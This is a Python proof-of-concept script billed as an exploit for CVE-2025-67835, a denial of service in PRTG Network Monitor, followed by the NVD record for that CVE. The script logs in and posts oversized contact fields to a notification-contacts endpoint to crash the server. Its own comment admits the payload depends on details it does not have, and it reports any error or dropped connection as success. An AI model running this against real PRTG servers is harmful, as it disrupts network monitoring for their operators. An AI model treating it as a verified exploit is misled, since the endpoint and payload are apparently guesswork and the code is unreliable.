CVE-2025-67835

# CVE-2025-67835 PoC - PRTG Notification Contacts DoS # Target: Paessler PRTG Network Monitor < 25.4.114 # Author: Security Researcher # Note: This PoC is for educational and authorized testing purposes only import requests import argparse from urllib.parse import urljoin def exploit_prtg_dos(target_url, username, password): """ Exploit for CVE-2025-67835: PRTG Notification Contacts DoS This script demonstrates how an authenticated low-privilege user can trigger a denial of service condition through the Notification Contacts functionality. Args: target_url: Base URL of PRTG server (e.g., https://prtg.example.com) username: Valid PRTG username password: User password """ session = requests.Session() # Step 1: Login to PRTG login_url = urljoin(target_url, '/public/login.htm') login_data = { 'username': username, 'password': password } print(f'[*] Attempting login to {login_url}') response = session.post(login_url, data=login_data) if response.status_code != 200: print('[-] Login failed') return False print('[+] Login successful') # Step 2: Create malicious notification contact # The specific payload depends on the exact vulnerability details notification_url = urljoin(target_url, '/api/notificationcontacts.htm') # Malicious payload that triggers DoS malicious_payload = { 'name': 'DoS Test Contact' * 100, # Excessive input 'email': '[email protected]' + 'x' * 10000, # Buffer overflow attempt 'method': 'email', 'action': 'add' } print(f'[*] Sending malicious notification contact request...') try: response = session.post(notification_url, data=malicious_payload) if response.status_code == 500 or response.status_code == 503: print('[+] DoS condition triggered - server error response') return True else: print(f'[*] Response status: {response.status_code}') return False except requests.exceptions.RequestException as e: print(f'[+] DoS triggered - connection failed: {e}') return True if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2025-67835 PoC') parser.add_argument('-t', '--target', required=True, help='PRTG target URL') parser.add_argument('-u', '--username', required=True, help='Username') parser.add_argument('-p', '--password', required=True, help='Password') args = parser.parse_args() exploit_prtg_dos(args.target, args.username, args.password)

{"cve": {"id": "CVE-2025-67835", "sourceIdentifier": "[email protected]", "published": "2026-01-14T17:16:07.290", "lastModified": "2026-01-20T15:26:45.263", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Paessler PRTG Network Monitor before 25.4.114 allows Denial-of-Service (DoS) by an authenticated attacker via the Notification Contacts functionality."}, {"lang": "es", "value": "Paessler PRTG Network Monitor anterior a 25.4.114 permite la Denegación de Servicio (DoS) por un atacante autenticado a través de la funcionalidad de Contactos de Notificación."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:paessler:prtg_network_monitor:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.4.114.1032", "matchCriteriaId": "23AABA66-3ADB-43D3-A29A-E28419277B88"}]}]}], "references": [{"url": "https://helpdesk.paessler.com/en/support/solutions/articles/76000087289-vulnerabilities-in-prtg-prior-v25-4-114-1032", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://paessler.com", "source": "[email protected]", "tags": ["Product"]}]}}